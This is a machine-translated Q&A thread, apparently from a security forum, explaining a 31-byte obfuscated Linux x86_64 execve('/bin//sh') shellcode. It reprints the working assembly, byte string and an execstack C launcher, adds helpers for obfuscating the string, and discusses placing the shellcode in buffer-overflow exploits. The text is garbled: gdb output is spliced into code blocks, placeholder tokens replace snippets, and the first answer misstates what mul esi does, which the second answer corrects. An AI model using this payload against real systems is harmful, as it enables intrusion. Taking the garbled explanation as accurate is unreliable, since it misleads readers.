我偶然发现了这31个字节的Linux x86_64多态execve Shellcode,由作者“ d4sh&r”发布:

该代码似乎是程序集和C的组合,看起来像这样: br />
/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell 
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux

;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell

global _start

_start:
    mul esi
    push rdx
    mov al,1                         
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh 
    rol rbx,24
    shr rbx,1
    push rbx
    lea rdi, [rsp] ;address of /bin//sh
    add al,58
    syscall

*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";

main()
{
   int (*ret)()=(int(*)()) code;
    ret();
}


我很好奇,第17至40行分别是做什么的,以及这是如何完成攻击的?一个表达式为“ global _start”)

#1 楼

编辑:@EnricoGhirardi感谢您指出我之前发布的mul esi不准确性!

首先,在下面的示例中,第一个指令mul esi将rax和rdx清零(这仅是因为rsi为0到首先)。最低有效位将存储在rax中,最高有效位将存储在rdx中。这两个寄存器均为零。编译测试代码后,我们可以使用以下代码对此进行验证:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
gdb shellcode

**BANNER SNIPPED**

Dump of assembler code for function main:
   0x00000000004004ed <+0>:     push   %rbp
   0x00000000004004ee <+1>:     mov    %rsp,%rbp
   0x00000000004004f1 <+4>:     sub    
int execve(const char *filename, char *const argv[], 
       char *const envp[]); 
x10,%rsp 0x00000000004004f5 <+8>: movq
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t rol(uint64_t v, unsigned int bits)
{
  return (v<<bits) | (v>>(8*sizeof(uint64_t)-bits));
}

int main(void)
{
  uint64_t obfuscated = 0xd2c45ed0e65e5edc;
  uint64_t deobfuscated = rol(obfuscated, 24);
  deobfuscated /= 2;
  printf("0x%" PRIx64 "\n", deobfuscated);
  return 0;
}
x601060,-0x8(%rbp) 0x00000000004004fd <+16>: mov -0x8(%rbp),%rdx 0x0000000000400501 <+20>: mov
_start:
    mul esi                     ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function
    push rdx                    ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64
    mov al,1                    ; used for obfuscation since mov al, 59 followed by syscall may look suspicious                       
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated 
    rol rbx,24                  ; Deobfuscate the hex string /bin//sh
    shr rbx,1                   ; Division by 2 to further deobfuscate /bin//sh
    push rbx                    ; Push the hex string on the top of the stack [in rsp]
    lea rdi, [rsp]              ; Load /bin//sh into rdi in little endian
                                ; in linux 86_64 the first argument is passed to rdi during a syscall
    add al,58                   ; al = 59 i.e. call execve
    syscall                     ; execve("/bin//sh", 0, *shellcode_buffer)
x0,%eax 0x0000000000400506 <+25>: callq *%rdx 0x0000000000400508 <+27>: leaveq 0x0000000000400509 <+28>: retq End of assembler dump. (gdb) b *0x0000000000400506 Breakpoint 1 at 0x400506 (gdb) c The program is not being run. (gdb) r Breakpoint 1, 0x0000000000400506 in main () (gdb) si 0x0000000000601060 in code () (gdb) disas Dump of assembler code for function code: => 0x0000000000601060 <+0>: mul %esi 0x0000000000601062 <+2>: push %rdx 0x0000000000601063 <+3>: mov
    $ nasm -felf64 shell.asm -o shell.o
    $ ld shell.o -o shell
    $ xxd shell

    CONTENT SNIPPED
    00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248  ..R..H..^^..^..H
    00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500  ...H..SH.<$.:...
x1,%al 0x0000000000601065 <+5>: movabs
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
xd2c45ed0e65e5edc,%rbx 0x000000000060106f <+15>: rol
#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t ror(uint64_t v, unsigned int bits)
{
  return (v>>bits) | (v<<(8*sizeof(uint64_t)-bits));
}

int main(void)
{
  uint64_t deobfuscated = 0x68732f2f6e69622f;
  uint64_t obfuscated = deobfuscated * 2;
  obfuscated = ror(obfuscated, 24);
  printf("0x%" PRIx64 "\n", obfuscated);
  return 0;
}
x18,%rbx 0x0000000000601073 <+19>: shr %rbx 0x0000000000601076 <+22>: push %rbx 0x0000000000601077 <+23>: lea (%rsp),%rdi 0x000000000060107b <+27>: add q4312078qx3a,%al 0x000000000060107d <+29>: syscall 0x000000000060107f <+31>: add %al,(%rax) End of assembler dump. (gdb) i r rax rdx rax 0x0 0 rdx 0x601060 6295648 (gdb) si 0x0000000000601062 in code () (gdb) i r rax rdx rax 0x0 0 rdx 0x0 0


如我们所见,rax和rdx均为0,这意味着esi(或rsi)已乘以零。

这很重要,因为shellcode最终在第29行使用了syscall。我们可以看到在第29行的syscall之前加了al,58,其中al已经为1,因此rax寄存器的值将为59。

数字59是Linux x86_64 syscall表中execve的索引

execve将执行/ bin // sh。让我们检查一下函数原型:

q4312078q

根据原型的描述,文件名必须是二进制可执行文件或以“#”行开头的脚本!解释器[arg]“

我们将最终看到shellcode通过/ bin // sh作为此参数。

argv只是传递给二进制文件的参数。在这种情况下,参数为NULL,因为如前所述,rsi寄存器先前已在第20行清零。类似地,envp是传递给二进制文件的环境参数。再说一次,没有什么是因为我们已经看到mul%esi指令将rsi和rdx都清零了。在x86_64 Linux中,rsi和rdx寄存器分别是execve()的第二个和第三个参数。

您可以在此处找到有关x86_64调用约定的更多信息,以了解如何将参数传递给函数。

最后,execve中的第一个参数是/ bin // sh,最终将其传递到edi寄存器。 edi在Linux x86_64程序集中拥有第一个函数参数。

有趣的是,这是多态shellcode。我们可以将多态shellcode视为经过混淆的机器指令,这些指令在执行时对其进行自我混淆。

在第23行,ascii中的十六进制字符串0xd2c45ed0e65e5edc是ÒÄ^Ðæ^^Ü,这显然已被混淆。
第24行和第25行对字符串进行模糊处理,我们得到0x68732f2f6e69622f(ASCII中的hs // nib /)。这是/ bin // sh的反向拼写,因为参数以小尾数字节顺序传递给execve()。为了证明概念,您可以在gdb中运行代码,或使用以下反混淆我写道:

q4312078q

你会得到去混淆的十六进制字符串0x68732f2f6e69622f,它也是assii中的hs // nib /。将经过去模糊处理的/ bin // sh推入堆栈顶部(即rsp寄存器中),第27行将指向字符串/ bin // sh的地址加载到rdi中。同样,请注意,此字符串以小尾数字节顺序传递。现在我们可以清楚地看到/ bin // sh是execve()的第一个参数,然后,该外壳程序在第29行执行。

下面是一个注释的伪代码摘要:

q4312078q

对于C代码,表示第17-29行的已编译程序集的机器指令存储在全局变量中。我们可以使用以下命令从shellcode中检查字节:

q4312078q

如我们所见,它与C代码中的以下缓冲区匹配:

q4312078q

main中的代码只是将字符串缓冲区全局变量转换为一个函数指针,然后调用该函数指针,执行多态shellcode,并生成一个shell。 />最后,shellcode只是漏洞利用的可能部分。漏洞利用包含针对特定版本的程序和OS精确定制的输入。 Shellcode可以是有效负载的一部分,但是通过添加ASLR(地址堆栈布局随机化)和DEP(数据执行保护),操作系统变得更加安全,因此通常将函数指针覆盖到GOT(全局偏移表)中更加实用),而不是将shellcode注入缓冲区。假设您正在执行通用堆栈缓冲区溢出,则缓冲区的长度必须至少为0x19字节。您还需要更多空间来补偿其余的漏洞利用。换句话说,您将需要一个具有足够空间的缓冲区以适合Shellcode和其余的利用,以便覆盖堆栈上的RET地址,以将程序执行(RIP / EIP)重定向到Shellcode。

这只是一个示例,但是可以在漏洞利用程序中使用此Shellcode的更多方法。

回溯几步,如果esi / rsi不为0,则此shellcode可能会失败,因为如果它不为零,那么我们将有第二个参数传递给execve()甚至可能如果指令mul esi的结果溢出到edx中,则为第三个参数。如果在mul esi指令之前有一个xor esi指令,则shellcode会更可靠。他们只是采用原始字符串hs // nib /并以相反的顺序应用了反混淆指令。您可以使用以下代码进行概念验证:

q4312078q

您应该获得原始的混淆十六进制字符串0xd2c45ed0e65e5edc。

评论


感谢@itsbriany提供详尽的答案以及所有这些参考。

–x457812
15年11月26日在16:12

好答案!但是所讨论的代码远非多态的。

–mikalai
15年11月30日在19:57

#2 楼

上面的答案在大多数情况下是正确的,但其中包含一些错误。我不能发表评论,因此我将在此答案中添加更正。
@itsbriany正确指出%rax为零,但是只有在作者编写的特定启动器中才是这种情况。
定义ret函数时,未指定参数数量,因此对于C标准,可变函数。对于x86_64 ABI,如果一个函数具有可变参数,则AL(EAX的一部分)应保持用于保存该函数参数的向量寄存器的数量。 :

int (*ret)(void)=(int(*)()) code;


导致分段错误。
然后操作

mul esi


不会将%esi归零,如其他答案所示。在这种情况下,它将%esi和%eax相乘并将高位存储在%edx的低位存储在%eax中,从而清除%edx。 %esi从未被修改,实际上它仍然指向原始程序的argv数组。在另一个%esi具有无效值的程序中,shell代码也不起作用。
%edx也似乎无缘无故地被压入堆栈。